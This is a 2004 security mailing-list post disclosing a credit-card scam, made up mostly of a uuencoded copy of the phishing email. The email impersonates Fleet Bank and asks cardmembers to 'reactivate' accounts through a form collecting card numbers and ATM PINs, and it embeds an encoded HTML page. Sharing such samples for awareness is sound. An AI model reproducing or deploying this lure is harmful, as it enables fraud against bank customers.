Date: Mon, 7 Jun 2004 16:38:44 +0300
Subject: [Full-Disclosure] A New Credit Card Scam... See attached e-mail
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAABIzwuK9Z1RGJWgABAh70LiKDAAAQAAAAK+Wv4V8jgEWL6zkUsWUtswEAAAAA@abc.gr>

Cheers to all


begin 666 ATT00217.eml
M4F5P;'DM5&\Z(#QS=7!P;W)T0&9L965T+F-O;3X-"D9R;VTZ(")&3$5%5"!"
M86YK(B \<W5P<&]R=$!F;&5E="YC;VT^#0I4;SH@/&1C:&]N='IO0&%B8RYG
M<CX-"E-U8FIE8W0Z($9L965T($-A<F1M96UB97(@<V5C=7)I='D@=7!D871E
M#0I$871E.B!-;VXL(#<@2G5N(#(P,#0@,38Z,C,Z-3<@*S S,# -"DUE<W-A
M9V4M240Z(#PR,# T,#8P-S$S,C,U-RY#0C4Y03$S-# Y0D!H-C<X,BYS97)V
M97)K;VUP971E;GHN;F5T/@T*6"U-86EL97(Z($UI8W)O<V]F="!/=71L;V]K
M+"!"=6EL9" Q,"XP+C8V,C8-"E at M36EM94],13H at 4')O9'5C960 at 0GD@36EC
M<F]S;V9T($UI;65/3$4 at 5C8N,# N,C at P,"XQ-# Y#0H-"@T*(#QH='1P<SHO
M+V9L965T:&]M96QI;FLN9FQE970N8V]M+V-G:2UB:6XO:6UC<'!R9"YD;&PO
M0W1R;"YJ<W _0E9?57-E0E9#;V]K:64]>65S)G!A9V4]=&]P3&5V96P^($9L
M965T(%!E<G-O;F%L($9I;F%N8VEA;"!397)V:6-E<PT*/&AT='!S.B\O9FQE
M971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^( D@
M/&AT=' Z+R]W=W<N9FQE970N8V]M+SX at 9FQE970N8V]M('P at 051-<R]"<F%N
M8VAE<R \:F%V87-C<FEP=#IV;VED)3(P,#L^("!\#0I0<FEV86-Y(#QJ879A
M<V-R:7!T.G9O:60E,C P.SX-"B @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF
M;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0H-"B @/&AT='!S.B\O
M9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^
M(" @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C
M<"\O;&]G;W5T7V)U='1O;E]O9F8N9VEF/@T*/&AT='!S.B\O9FQE971H;VUE
M;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^( D@(" \:'1T
M<',Z+R]F;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM
M+F=I9CX-"CQJ879A<V-R:7!T.F1O8W5M96YT+G1O<&9R;5-E87)C:"YS=6)M
M:70H*3L^($=O#0H-"B @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC
M;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0H-"B \:'1T<',Z+R]F;&5E=&AO
M;65L:6YK+F9L965T+F-O;2]C9VDM8FEN+VEM8W!P<F0N9&QL+T-T<FPN:G-P
M/T)67U5S94)60V]O:VEE/7EE<R9P86=E/71O<$QE=F5L)F-N=%1Y<&4]54-0
M7U=%3$-/344^(%=E;&-O;64-"CQH='1P<SHO+V9L965T:&]M96QI;FLN9FQE
M970N8V]M+V-G:2UB:6XO:6UC<'!R9"YD;&PO0W1R;"YJ<W _0E9?57-E0E9#
M;V]K:64]>65S)G!A9V4]=&]P3&5V96PF8VYT5'EP93U50U!?0D%.2TE.1SX@
M3VYL:6YE($)A;FMI;F<-"CQH='1P<SHO+V9L965T:&]M96QI;FLN9FQE970N
M8V]M+V-G:2UB:6XO:6UC<'!R9"YD;&PO0W1R;"YJ<W _0E9?57-E0E9#;V]K
M:64]>65S)G!A9V4]=&]P3&5V96PF8VYT5'EP93U50U!?0U)%1$E4/B!#<F5D
M:70 at 0V%R9',-"CQH='1P<SHO+V9L965T:&]M96QI;FLN9FQE970N8V]M+V-G
M:2UB:6XO:6UC<'!R9"YD;&PO0W1R;"YJ<W _0E9?57-E0E9#;V]K:64]>65S
M)G!A9V4]=&]P3&5V96PF8VYT5'EP93U50U!?0E)/2T5204=%/B!"<F]K97)A
M9V4-"E-E<G9I8V5S"2 @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC
M;VTO8V=I+6)I;B]I;6-P<')D+F1L;"]#=')L+FIS<#]"5E]5<V5"5D-O;VMI
M93UY97,F<&%G93UT;W!,979E;"9C;G14>7!E/55#4%],3T%.4SX-"DUO<G1G
M86=E<R!A;F0 at 3&]A;G,-"CQH='1P<SHO+V9L965T:&]M96QI;FLN9FQE970N
M8V]M+V-G:2UB:6XO:6UC<'!R9"YD;&PO0W1R;"YJ<W _0E9?57-E0E9#;V]K
M:64]>65S)G!A9V4]=&]P3&5V96PF8VYT5'EP93U50U!?54%,/B!5;FEV97)S
M86P at 3&EN:PT*/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO8V=I
M+6)I;B]I;6-P<')D+F1L;"]#=')L+FIS<#]"5E]5<V5"5D-O;VMI93UY97,F
M<&%G93UT;W!,979E;"9C;G14>7!E/55#4%]04D]$54-4/B!0<F]D=6-T<R!A
M;F0-"E-E<G9I8V5S#0H\:'1T<',Z+R]F;&5E=&AO;65L:6YK+F9L965T+F-O
M;2]C9VDM8FEN+VEM8W!P<F0N9&QL+T-T<FPN:G-P/T)67U5S94)60V]O:VEE
M/7EE<R9P86=E/71O<$QE=F5L)F-N=%1Y<&4]54-07T5$251/4DE!3#X at 4VUA
M<G1E<@T*1&5C:7-I;VYS#0H\:'1T<',Z+R]F;&5E=&AO;65L:6YK+F9L965T
M+F-O;2]C9VDM8FEN+VEM8W!P<F0N9&QL+T-T<FPN:G-P/T)67U5S94)60V]O
M:VEE/7EE<R9P86=E/71O<$QE=F5L)F-N=%1Y<&4]54-07U-54%!/4E0^($-U
M<W1O;65R(%-E<G9I8V4-"@T*#0H-"B @/&AT='!S.B\O9FQE971H;VUE;&EN
M:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0H at 4&5R<V]N86P@
M1FEN86YC:6%L(%-E<G9I8V5S("T at 2&5L<&EN9R!Y;W4@;6%K92!S;6%R=&5R
M(&9I;F%N8VEA;"!D96-I<VEO;G, at 86)O=70@>6]U<B!M;VYE>2!S;R!Y;W4@
M8V%N(&UO=F4 at 9F]R=V%R9"!W:71H#0IC;VYF:61E;F-E+B \:'1T<',Z+R]F
M;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]T;W!?;6-P7W=E
M;&-?86YO;BYG:68^#0H@(#QH='1P<SHO+V9L965T:&]M96QI;FLN9FQE970N
M8V]M+VEM86=E<R]U8W O+W-H:6TN9VEF/@T*1&5A<B!&;&5E="!#87)D(&UE
M;6)E<BP-"@T*#0I!<R!A(&-U<W1O;65R(&]F($9L965T+"!T:&4@<V5C=7)I
M='D@;V8@>6]U<B!P97)S;VYA;"!A8V-O=6YT(&EN9F]R;6%T:6]N(&ES(&5X
M=')E;65L>2!I;7!O<G1A;G0@=&\@=7,N($)Y('!R86-T:6-I;F<@9V]O9"!S
M96-U<FET>0T*:&%B:71S+"!Y;W4 at 8V%N(&AE;' @=7, at 96YS=7)E('1H870@
M>6]U<B!P<FEV871E(&EN9F]R;6%T:6]N(&ES('!R;W1E8W1E9"X-"D]U<B!N
M97<@<V5C=7)I='D@<WES=&5M('=I;&P@:&5L<"!Y;W4@=&\@879O:60 at 9G)E
M<75E;G1L>2!F<F%U9"!T<F%N<V%C=&EO;G, at 86YD(&ME97!I;F<@>6]U<B!I
M;G9E<W1M96YT<R!S869E;'DN#0I$=64@=&\@=&5C:&YI8V%L('5P9&%T92!W
M92!R96-O;6UE;F0@>6]U('1O(')E86-T:79A=&4@>6]U<B!A8V-O=6YT+B!4
M;R!R96%C=&EV871E('EO=7(@86-C;W5N="!P;&5A<V4 at 9FEL;"!T:&4 at 9F]R
M;2!I;B!T:&4@<FEG:'0N#0H-"E=E(&%P<')E8VEA=&4@>6]U<B!B=7-I;F5S
M<RX at 270G<R!T<G5L>2!O=7(@<&QE87-U<F4@=&\@<V5R=F4@>6]U+ at T*#0I&
M;&5E="!"86YK($-U<W1O;65R($-A<F4-"@T*#0I4:&ES(&5M86EL(&ES(&EN
M=&5N9&5D(&9O<B!&;&5E="!"86YK('5S97)S(&]N;'DN($EG;F]R92!I="!I
M9B!H87, at 8F5E;B!A<G)I=F5D(&)Y(&UI<W1A:V4N#0H-"@T*(" \:'1T<',Z
M+R]F;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I
M9CX-"B @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S
M+W5C<"\O<VAI;2YG:68^#0I#=7-T;VUE<B!,;V=I;@T*(" \:'1T<',Z+R]F
M;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I9CX-
M"B @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C
M<"\O<VAI;2YG:68^#0H@(#QH='1P<SHO+V9L965T:&]M96QI;FLN9FQE970N
M8V]M+VEM86=E<R]U8W O+W-H:6TN9VEF/@T*(" \:'1T<',Z+R]F;&5E=&AO
M;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I9CX@"4-A<F0@
M3G5M8F5R#0H-"B!296UE;6)E<B!M>2!C87)D(&YU;6)E<@D@(" \:'1T<',Z
M+R]F;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I
M9CX-"B @/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S
M+W5C<"\O<VAI;2YG:68^#0H@(#QH='1P<SHO+V9L965T:&]M96QI;FLN9FQE
M970N8V]M+VEM86=E<R]U8W O+W-H:6TN9VEF/@T*(" \:'1T<',Z+R]F;&5E
M=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I9CX-"E!A
M<W-W;W)D("A!5$T at 4$E.*0T*#0H-"B @/&AT='!S.B\O9FQE971H;VUE;&EN
M:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0I396QE8W0 at 82!$
M97-T:6YA=&EO;@T*(%=E;&-O;64@($]N;&EN92!"86YK:6YG("!"<F]K97)A
M9V4 at 4V5R=FEC97,@(%5N:79E<G-A;"!,:6YK#0H@(#QH='1P<SHO+V9L965T
M:&]M96QI;FLN9FQE970N8V]M+VEM86=E<R]U8W O+W-H:6TN9VEF/@T*#0I,
M;V<@26X@"3X@/&IA=F%S8W)I<'0Z=F]I9"4R,# [/B @3&]G:6X at 2&5L<" \
M:F%V87-C<FEP=#IV;VED)3(P,#L^#0H-"B @/&AT='!S.B\O9FQE971H;VUE
M;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0H-"DEF('EO
M=2!A<F4 at 82!F:7)S="!T:6UE('5S97(L('EO=2!W:6QL(&)E(&%S:V5D('1O
M(')E8V5I=F4@=&AE($]N;&EN92!"86YK:6YG($%G<F5E;65N="!E;&5C=')O
M;FEC86QL>2X at 268@>6]U(&%R92!A(')E='5R;FEN9PT*8W5S=&]M97(L(&)Y
M(&-L:6-K:6YG(&QO9VEN('EO=2!A8VMN;W=L961G92!R96-E:7!T(&]F('1H
M92!!9W)E96UE;G0 at 86YD(&%G<F5E('1O(&ET<R!T97)M<RX-"B @/&AT='!S
M.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG
M:68^#0H-"B \:F%V87-C<FEP=#IV;VED)3(P,#L^($]N;&EN92!"86YK:6YG
M($%G<F5E;65N= T*4WES=&5M(" \:F%V87-C<FEP=#IV;VED)3(P,#L^("8@
M0G)O=W-E<B!297%U:7)E;65N=',-"B @/&AT='!S.B\O9FQE971H;VUE;&EN
M:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^#0H@/&IA=F%S8W)I
M<'0Z=F]I9"4R,# [/B!);G1R;V1U8VEN9R!&;&5E="!!8V-E<W, at 0VAE8VMI
M;F<N(%5N<&%R86QL960 at 8V]N=F5N:65N8V4N(%5N<FEV86QE9"!F<F5E(&-H
M96-K:6YG+B!,96%R;B!M;W)E+ at T*(" \:'1T<',Z+R]F;&5E=&AO;65L:6YK
M+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I9CX@"2 @/&AT='!S.B\O
M9FQE971H;VUE;&EN:RYF;&5E="YC;VTO:6UA9V5S+W5C<"\O<VAI;2YG:68^
M#0H-"@T*(#QJ879A<V-R:7!T.G9O:60E,C P.SX at 4')I=F%C>2!\(%-E8W5R
M:71Y(#QJ879A<V-R:7!T.G9O:60E,C P.SX@('P at 06-C97-S:6)I;&ET>2 \
M:F%V87-C<FEP=#IV;VED)3(P,#L^("!\(%1E<FUS(&]F(%5S90T*/&IA=F%S
M8W)I<'0Z=F]I9"4R,# [/B @(" \:'1T<',Z+R]F;&5E=&AO;65L:6YK+F9L
M965T+F-O;2]I;6%G97,O=6-P+R]S:&EM+F=I9CX at 06)O=70 at 1FQE970@/&AT
M=' Z+R]W=W<N9FQE970N8V]M+V%B;W5T7VAO;64N87-P/@T*?"!3:71E($UA
M<" \:'1T<#HO+W=W=RYF;&5E="YC;VTO<VET95]M87 N87-P/B @(" \:'1T
M<',Z+R]F;&5E=&AO;65L:6YK+F9L965T+F-O;2]I;6%G97,O=6-P+R]S:&EM
M+F=I9CX at 0F%C:PT*/&AT='!S.B\O9FQE971H;VUE;&EN:RYF;&5E="YC;VTO
M8V=I+6)I;B]I;6-P<')D+F1L;"]#=')L+FIS<#]"5E]5<V5"5D-O;VMI93UY
M97,F<&%G93UT;W!,979E;"9C;G14>7!E/55#4%]714Q#3TU%(W1O<#X@=&\@
M5&]P#0H\:'1T<',Z+R]F;&5E=&AO;65L:6YK+F9L965T+F-O;2]C9VDM8FEN
M+VEM8W!P<F0N9&QL+T-T<FPN:G-P/T)67U5S94)60V]O:VEE/7EE<R9P86=E
M/71O<$QE=F5L)F-N=%1Y<&4]54-07U=%3$-/344C=&]P/B!"86-K('1O(%1O
M< T*#0H-"@T*#0IB96=I;B V-C8 at 0514,# R,30N:'1M#0I-(S!(7"@T,2\P
M53$Y-"0T0#(E,2TS(B$P-30I+#(T+$ H0E1/*U4\4S!27$\Q)3$D*"1!-#,T
M4$ M(EA0#0I-*"4Q4C at V65,Z-S%).U9903LB7$\Q-%A"+T!4*B\B)$TK,B%3
M.#<Y13DB(48\1EU-*"<U4CLC5$@L(R11#0I-+%)%2#TG,5 \4TA/*U8Y3#DV
M-50Z)EU-.39123M&3$XY1E%%.3<P3CA674TK5BU'.C)50CHV6$\Z-E5##0I-
M/"<A4CDB640[)E!/,%<Q4CLB64H\5R!?,$4Y/S4W+44P13DC.U9=2SHV-%T^
M-C53*4<A03E6-%T])EU0#0I-,R8U5CDV4$8X5EE4-2=%4#DS534P52$_-50U
M+#!472TQ,B!-*S-8+2)#42 at U)%4L+T-1*#$T)20O0%0J#0I-+R15)34D)$ R
M)3$T-")5)30U-2DU0U1",%9=3CTF-4X](E4T/C<A12A"(2,S5%DT,319-"\R
M*50Y-T%4#0I-*U9!5#LV4%LH)BU(.#<I4SDW,%TZ-RU/*S- 6"TS1$TM4BA>
M(S!(7#4D130S)#1>,49113DW,$ R)EU-#0I-.31123M&3$ S5EE,.C9912 at D
M*4$[1DU).T8\0#@V640H)$5./48U4STF14XY4B%<*"4]13LF+4\[-C1<#0I-
M*U4Q*34D424O0%0J(S!(7#14+3(R-2$T*"9103M&/54X-CU%+S9)03U&)5,X
M5RE)/"<P0#Q7*4,O,BE(#0I-/2<Q4#Q32$\K5CE,.38U5#HF74TY-E%).T9,
M3CE&444Y-S!..%9=32M614TX-CU%/%)=53A7($\K5RU)#0I-/28U)CTV64,]
M)D5/.T<L3CI'+$(O0U!/-%0M,C(U(30O0%0J(S!(7#,T-30P,B%(/2<Q4"LV
M-5$]-D56#0I-+S0M3SM',44[1S!--%<Q63LF-$TU)T50.3(A0SM6650Y-EE4
M+S<Q13XG,$\X5RU3+T-1+#(T62LH(%0J#0I-.B<I13E#5$(Z)S%4/"<L6BM2
M748[)C5%/29!3SLV-4PZ-EE+*T8Y3#DV-50K1BU/.S)=23LV)4<Y-RQ/#0I-
M/38M4"M2754X5R$_.S8M4"M&+5,\4BA /$8U3"\W+50^-E%%/%9!13DW,%XC
M,$A<-%0M,C(U(30H)E%!#0I-.T8]53 at V/44O-DE!/48E4SA7*4D\)S! /%<I
M0R\R*4@])S%0/%-(3RM6.4PY-C54.B9=33DV44D[1DQ.#0I-.49113DW,$XX
M5EU-*U9%33 at V/44\4EU5.%<@3RM7-4,\)5U-.%<A/SM'+$XZ1RQ"*"!4*CTG
M15 Y,U54#0I-.3=!5"M624$]1B53.%<I23PG,%XO(ETS,%4I*30E,%XC,$@M
M(D-1+3$U,2$H)BU/.T<Q13M',%TH1%5)#0I-.%<I3SQ6748](B$F/$9=3CTE
M(4$Y5C1 +3)84"A"(4XX-E5%+S0])3-$-3(P-3$O-$-87"M4024P-#!>#0I-
M(S!(7#!$720V,B%,.38Y5#,V)5(Y5D5.+S, at 0#TF75 S-B52.59%3B\S($ [
M5EE,.U8E1"\T)48])C52#0I-,R9=03DF-40J(D1;*"9503Q&/4D[1D%%.C8]
M2#TC5$(L(BA (S!)33 at W*4<Z-EE7.C8Q5#HC5$(L(BA>#0I-+R0D0#M&)4TY
M,U54.U<@7B\B72$O0U!!*S)40#TF75 H)EE!/4(@32LS6"TB0%0J+R4Q(3!$
M424H)BU%#0I-.R91,SPF)4,Z-EE'+S, at 0#A6-4P[)2%!.28Q23M&/%TL(B%7
M.C8Q5#HC5%<M,T1 .$8E0SI6/5([5S5.#0I-.2-52#TG,5 \4TA/*U8Y3#DV
M-50Z)EU-.39123M&3$XY1E%%.3<P3CA674TK5D5-.#8]13Q2754X5R!/#0I-
M*U8I03A634D[-B5'.3)91SHV.$ C,$E".U<I1#DW*%TL(U at M(D(@0"\E,2(S
M5#$Y+T!4*B at B(%PU)2A>#0I-(S!(0"@B($ O)3$D+T!4*B at B($ H(B! +R4Q
M(3!$424H)BU%.R91,SPF)4,Z-EE'+S, at 0#A6-4P[)2%!#0I-.28Q23M&/%TL
M(B%7.C8Q5#HC5%<M,S! (S!(0"@B($ H(B%".#8M2SE7*4\]-EE$+S9!5#TG
M(5,N0EQ/#0I-.49113DW,4@[5E5%.R9%3CI2648[)C5%/2)90SM65$\Z-E5!
M.58U4RM7-4,\(EQ/.$8E0SI614TX-CU%#0I-*T8]23E"(4([5RE$.3<H72PC
M6"TB0B! *"(@0"@B($ O)3$B,U0Q.2] 5"HH(B! *"(@0"@B(%PU)2A>#0I-
M(S!(0"@B($ H(B! *"(@0"\E,20H)SU).2<Q2"\S-%$M0B%2.U<],SPF)4XO
M,RQ>+R0D0",P2$ H(B! #0I-*"(@0"@B($ H(B%(/$8U1B\R*4@])S%0/%-(
M3RM6.4PY-C54.B9=33DV44D[1DQ..49113DW,$XX5EU-#0I-*U8M1SHR54(Z
M-EA/.C950SPG(5(Y(EE$.R903S!7,5([(EE*/%<@7S!%.3\U-RU%,$4Y(SM6
M74LZ-C1=#0I-/C8U4RE'(4$Y5C1=/29=4#,F-58Y-E!"*"!4*B at B($ H(B! 
M*"(@0"@B($ ])B52.58U5"\U750[5R!>#0I-+R1%+3%2(4 at Y-D5'.B<P72TS
M+$ X-E%4+S(I)CLF-44](B$P.3<I4SM664$[(B$F.C9903M&+4DX-E! #0I-
M-%8U4CU&14,Y-RQ"*"!4*B at B($ H(B! *"(@0"@B($ \5RE#+S(I2#TG,5 \
M4TA/*U8Y3#DV-50Z)EU-#0I-.39123M&3$XY1E%%.3<P3CA674TK5D5-.#8]
M13Q2754X5R!/*U9903U%750[5R$_/"8Y0S=6044X-C%%#0I-/$)91SHV.$(H
M)SU).2<Q2"\S-%$M4B%".U<I1#DW*%TL(UA<*U0D7B\B730Q(U at M(D(@0"@B
M($ H(B! #0I-*"(@7#4D,$ ]5D5$/29 72PR(5([5STS/"8E3B\S+%XO)$4M
M,5(A2#DV14<Z)S!=+3,L0#Q7*4,O,BE(#0I-/2<Q4#Q32$\K5CE,.38U5#HF
M74TY-E%).T9,3CE&444Y-S!..%9=32M614TX-CU%/%)=53A7($\K5RU(#0I-
M.C943CE6148H0B M(D(@0"@B($ H(B! *"(A5SHV,50Z(U11+T-03S4D,%XC
M,$A *"(@0"@B($ H(B! #0I-+R4Q)"@F+4PX-RU3+S4Q3SPD64$]0B%6,#91
M23E66%TX5C5./28U4B at F)4PZ-CU.+S9523DF,4PY,B%##0I-.U91,SPF)4XO
M,RQ .B8U23E6050O,RA2+T-1(2@@5"HH(B! *"(@0"@B($ H(B! .B<I13E#
M5$(Z)S%4#0I-/"-(3RM7/5<]4EE&.R8U13TB64,[5E1/*$(@+2)"($ H(B! 
M*"(@0"@B($ H)S%!/$8]13TC53\])EU0#0I-+T-11CM6650H)RU)/D8T72A#
M)$(H)CE!.%8T72A%.44\1C%!.T8D3"@D)5(Z-B5,*R(A*#DV458Y-S%)#0I-
M.%8D3"@G+4$[1RQ-/%8U4CHV.$(O1CE,.38U5"M&+4\[,U!/.49=3CTC6%PK
M5"1>+R8Y3SM',$ \5D5:#0I-.3-40BPR*$ Y1B5#.3-40C5&-5(Y)B5..#)0
M0# W*4DX-E!,*"1!13LG.44])D5#.#)00#Q6)4X\4E53#0I-.3<I23E"*%XH
M(B%<*"(@7# R("TB0B! *"(@0"@B($ H(B! *"9=3CA644DX5DQ=*59)03U&
M)5,X5RE)#0I-/"<P6CM&-5<P1RE//5<M13Q%/4D[1C%//5) 0CHG,50\)RQ:
M*U)=1CLF-44])D%/.S8U3#HV64LK1CE,#0I-.38U5"M&+4\[,EU#.59$33A&
M14XK5D5-.%<A4#Q&,$XY)E%,*U9)53LW(24^)S%%/$9903LB64H\5R!?#0I-
M,$4Y/S4W+44P13DC.U9=2SHV-%T^-C53*44U,C,C54@])S%0+D)<3SU7/5<K
M1CE,.38U5"M&+4\[,EU6#0I-.C8M23M&150^-5U&.U<I33=7(4\\)S50*T8E
M4SPB.5<Z-C%4.B-45BQ#($8Z)C5).59!5"\S.%0L(BA,#0I-*$,X4BPB*$PH
M0SA4+"(H3"A"*$DN4CQ (S!(0"@B($ H(B! *"(@0"@B(4@\1C5&+S(I2C at W
M.4$\5BU2#0I-.C<A5"Y'.4\Z-C!%+$, at 4"Y2*%XP-3$M/%)=(CQ&)4XX5D%%
M/%-03S S6$ H)U! *"-1(2@@5"HH(B! #0I-*"(@0"@B($ H(B! .U990SLF
M14,Z4U1'.D8E5C at W+4,\1D50/2-)3CDW/2(\1EU7/%8U4C5614XY)EU7#0I-
M*B(I2#TG,5 \4TA/*U8Y3#DV-50Z)EU-.39123M&3$XY1E%%.3<P3CA674TK
M5BU'.C)50CHV6$\Z-E5##0I-/"<A4CDB640[)E!/.D<U33PD-5@])C52.T8E
M3"M&25,\(UTB-45=-3Q6-2(U1"U/.U9-23DS55DY-RQ&#0I--34I+"\V050]
M)R!%+%8D12Q&.$4L1CE7/5<\3CE&444Y-S!..%9=32DS*48X-CU2.38U33DV
M650\55U0#0I-.U<A53PB64$\5R!%+%8Y4#Q&740]-BU4*3,M1#PG*4D]1B5#
M/C(Y5SHV,50Z(U16+5, at 1CHF-4DY5D%4#0I-+S,X4"PB*$PH0SA7+"(H3"A#
M.% L(BA,*$(H22Y2/$ C,$A *"(@0"@B($ H(B! *"(A2#Q&-48O,BE*#0I-
M.#<Y03Q6+5(Z-R%4+D<Y3SHV,$4L0R!0+E(H7C0G*4D]1B5#/C-03S S6%PK
M5CE/.T<P7B\B730Q(U at M#0I-(D(@0"@B($ H(B! +R)=-#1#6"TB0B! *"(@
M0"@B($ O)3$R+T!4*B at B($ H(B! *"(@0"@C430Q(B%##0I-.U91,SPF)4XO
M,RQ>+R1%+3%2(4 at Y-D5'.B<P72PR(5,\1BQ=*$9!5#TG(5,N0EQ/.49113DW
M,4@[5E5%#0I-.R9%3CI2648[)C5%/2)90SM65$\Z-E5!.58U4RM7-4,\(EQ/
M/%9!23LR64<Z-CA"*"<]23DG,4 at O,R18#0I-+"-87"M5,20O0U!/-24H7B\B
M)$TK-2TE,#4I(S(B(28S52DM*S)47B\B)$TK-#TL,U0I(3,E72XP-3A #0I-
M-51%-#(B(2$P53$I,U180#%$13 at K,E1>+R(D32LR(28S52DM*"<M5#@W*50H
M)B5..2(A13M&,$ ])B5'#0I-*"9553Q7,$ \5S%!/C(A5SHF-5(Y,B%4.B8U
M62 at F)5(Y,B%4.U(A1CM7*4TX-S! .%9=4CQ&-4,])E%9#0I-*"9%3B at D644]
M)RU#.#<A12 at C,$X^(B!-*S-8+2)"($ H(B! *"(@0"\E,3(O0%0J*"(@0"@B
M($ H(B! #0I-*"-1)C-5*2TH)D5$+S<Q3SPF.5([-2U%.#<I0SHB(4XX-E5%
M+S<Q3SPF.5([-2U%.#<I0SHB("TB0B! #0I-*"(@0"@B($ H(B%!.%<Q23M6
M6%TZ)S%4/"<L6BM2748[)C5%/29!3SLV-4PZ-EE+*T8Y3#DV-50K1BU/#0I-
M.S)=0SE61$TX1D5.*U9%33A7(5 \1C!..2913"M4+50\1E!..D<M4"]4*38W
M5353.30I-C!674\Z5D5%#0I-+S=%13Q2.4,[1S$T/C<A12\U-2,T)5TS,30E
M,C!40$8\)B5'.3-50CM7,50[5E4L.3<Y13LB("TB0B! #0I-*"(@0"@B($ H
M(B%-.3<Q2#M6,%TY5C54*"<Q03Q&/44](U4_/29=4"] 5"HH(B! *"(@0"@B
M($ H(U$T#0I-,2(A5C V44DY5EA=.$9=5#TF74TH)BU/.R4M4#@V6%TL4U at M
M(D(@0"@B($ H(B! *"(@0"@C430P-"DL#0I-,3(A0SDV44PT5R%!.%9%3CE3
M5% H)BU%.R91,#@V,40Z-EE'+S, at 0#A&75(Y)C52+S, at 7B,P2$ H(B! #0I-
M*"(@0"@B($ H(B! *"-1-#!$720V,U at M(D(@0"@B($ H(B! *"(@0"@B($ O
M)3$R+T!4*B at B($ H(B! #0I-*"(@0"@B($ H(B! *"-1-#$B(58P-E%).598
M73A6-4X])C52*"9!13HV/4@](U12+3-87#(T52<H)D%%#0I-.C8]2#TC5%$H
M(%0J*"(@0"@B($ H(B! *"(@0"@B($ H(B! /%<I0R\R*4@])S%0/%-(3RM6
M.4PY-C54#0I-.B9=33DV44D[1DQ..49113DW,$XX5EU-*U9%33 at V/44\4EU5
M.%<@3RM7+4 at Z-E1..59%1BA"(5<Z-C%4#0I-.B-442PS6%PR-%4G*"9!13HV
M/4@](U11+5(A03LG,%TH0BA (S!(0"@B($ H(B! *"(@0"@B($ H(B! #0I-
M*"(A4SQ&+%TH1D%4/2<A4RY"7$\Y1E%%.3<Q2#M6544[)D5..E)91CLF-44]
M(EE#.U943SHV54$Y5C53#0I-*U<U0SPB7$\[)EU'.U<U5#=6*54])S%/.T5=
M3SE&.$XY5D5&*$(A5SHV,50Z(U15+"(@+2)"($ H(B! #0I-*"(@0"@B($ H
M(B! *"(A0CM7*40Y-RA=+"-80"\B730Q(U at M(D(@0"@B($ H(B! *"(@0"@B
M($ H(B!<#0I--20P0#U$)4PZ-CU.+S8M13M',44\0B%(.39%1SHG,%TL0S1>
M+R1%+3%2(4 at Y-D5'.B<P72PR("TB0B! #0I-*"(@0"@B($ H(B! *"(@0"@B
M($ H)RU2.%-40CHG,50\)RQ:*U)=1CLF-44])D%/.S8U3#HV64LK1CE,#0I-
M.38U5"M&+4\[,EU).S8E1SDW+$\]-BU0*U)=4SHF14TK1CU).4(H0#U6140]
M)D!=+3-87#(T63 U-3! #0I-.%9103Q7+%T\5C5!/$8M2#!&75 at H(%0J*"(@
M0"@B($ H(B! *"(@0"@B($ H(B! .C8P73Q6-4$\1BU(#0I--28U6#TB("TB
M0B! *"(@0"@B($ H(B! *"(@0"@B($ H)EU..49=0STW+%TH1DE!/48E4SA7
M*4D\)S!:#0I-.29=0STV544[1S!./29=4#E'*4TT5C5!/$8M2"M'+44X-RE#
M.B4Q13XG,$X]1B5,/38T72E2/%LH0B M#0I-(D(@0"@B($ H(B! *"(@0"@B
M($ H(B! *"9503XD444[1CU4.B-44BTR(5,Z-TE%+S,D5"@G.4$[)S5%#0I-
M+S(H0#$V650Y-RA -%8U03Q&+4 at H)3%%/$940"A"("TB0B! *"(@0"@B($ H
M(B! *"(@0"@B($ H)EE!#0I-.S8T73Q6-4$\1BU(-28U6#TC6%PK53$D+T!4
M*B at B($ H(B! *"(@0"@B($ H(B! *"-1-#$B(58P-E%)#0I-.59873A6-4X]
M)C52*"9!13HV/4@](U12+3-87#(T52<H)D%%.C8]2#TC5%$H(%0J*"(@0"@B
M($ H(B! #0I-*"(@0"@B($ H(B! /%<I0R\R*4@])S%0/%-(3RM6.4PY-C54
M.B9=33DV44D[1DQ..49113DW,$XX5EU-#0I-*U9%33 at V/44\4EU5.%<@3RM7
M+4 at Z-E1..59%1BA"(5<Z-C%4.B-45B]#42$H)S%)/29112\T/2\H(%0J#0I-
M*"(@0"@B($ H(B! *"(@0"@B($ H(B! .B<I13E#5$(Z1B56.#<M0SQ&15 ]
